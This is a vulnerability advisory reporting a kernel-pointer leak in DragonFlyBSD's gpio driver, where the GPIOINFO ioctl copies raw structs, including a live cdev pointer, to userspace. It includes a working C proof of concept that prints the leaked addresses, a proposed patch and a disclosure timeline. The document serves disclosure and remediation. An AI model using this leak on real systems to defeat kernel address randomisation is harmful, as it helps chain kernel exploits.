Summary

The GPIOINFO handler copies the entire in-kernel gpio_pin_t array to userspace byte-for-byte, including the cdev_t dev field which is a live kernel pointer to struct cdev. This leaks a kernel heap/pointer to any process that can open the master device, defeating KASLR.

Root cause

At gpio.c:466-467:

copyout(gp->pins, gpi->pins, sizeof(struct gpio_pin)*gp->npins);

copies the raw in-kernel struct array. struct gpio_pin (gpio.h:77-85) is:

struct gpio_pin {
    int pin_num, pin_caps, pin_flags, pin_state, pin_mapped, pin_opened;
    cdev_t dev;
};

The trailing dev field is a struct cdev * populated by make_dev at gpio.c:580-583 (gp->pins[i].dev = make_dev(...)). On x86-64 sizeof is 32 and offset of dev is 24, so bytes 24..31 of every pin entry handed to userspace are a live kernel address. There is no field-by-field marshal/copyout — the whole struct, including the kernel pointer, is shipped as-is.

Threat model & preconditions

• Attacker position: root only (master device is mode 0600 root-only, gpio.c:574-575).
• Privileges gained or impact: KASLR / kernel heap-address leak to a root caller. A sandboxed or compromised root process (or one using capmode restrictions, since no priv_check is performed) can recover kernel text/data addresses it would not otherwise have, enabling bypass of kernel ASLR for subsequent exploits. The leak is recursive — one kernel pointer per pin.
• Required config or capabilities: device gpio compiled in; root access to /dev/gpio/<drv>N/master.
• Reachability: ioctl(fd, GPIOINFO, &g) on the master device.

Proof of concept

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dev/misc/gpio/gpio.h>

int main(void) {
    int fd = open("/dev/gpio/gpio0/master", O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    struct gpio_info g = { .pins = NULL };
    ioctl(fd, GPIOINFO, &g);
    printf("npins = %d\n", g.npins);
    struct gpio_pin *buf = malloc(g.npins * sizeof(struct gpio_pin));
    g.pins = buf;
    ioctl(fd, GPIOINFO, &g);
    for (int i = 0; i < g.npins; i++)
        printf("pin %d: dev kernel ptr = %p\n", i, (void*)buf[i].dev);
    return 0;
}

Expected output

npins = <N>
pin 0: dev kernel ptr = 0xffff...
pin 1: dev kernel ptr = 0xffff...
...

Printed dev values are non-NULL kernel addresses (high-half on x86-64).

Impact

Low-severity KASLR bypass reachable from root. Valuable as an info-leak primitive for chaining with a separate memory-corruption exploit.

Recommended fix

Do not ship the kernel dev pointer to userspace. Either define a separate userspace ABI struct (without dev) and copyout field-by-field, or zero the dev field on a temporary copy before copyout.

--- a/sys/dev/misc/gpio/gpio.c
+++ b/sys/dev/misc/gpio/gpio.c
@@ -462,9 +462,23 @@ gpio_master_ioctl(struct dev_ioctl_args *ap)
    case GPIOINFO:
        gpi = (struct gpio_info *)ap->a_data;
        gpi->npins = gp->npins;
-       if (gpi->pins != NULL) {
+       if (gpi->pins != NULL && gp->npins > 0) {
+           struct gpio_pin *scratch;
+           size_t bytes = sizeof(struct gpio_pin) * gp->npins;
+           scratch = kmalloc(bytes, M_TEMP, M_WAITOK | M_ZERO);
+           memcpy(scratch, gp->pins, bytes);
+           /*
+            * Strip the in-kernel cdev_t pointer field; userspace must
+            * never see kernel addresses from this ioctl.
+            */
+           for (int i = 0; i < gp->npins; i++)
+               scratch[i].dev = NULL;
            error = copyout(scratch, gpi->pins, bytes);
+           kfree(scratch, M_TEMP);
        }
        break;

Better long-term: introduce a struct gpio_pin_user without the dev member as the userspace ABI.

Timeline

• 2026-07-20 Discovered during automated audit.
• 2026-07-20 Reported to DragonFlyBSD security contact (pending).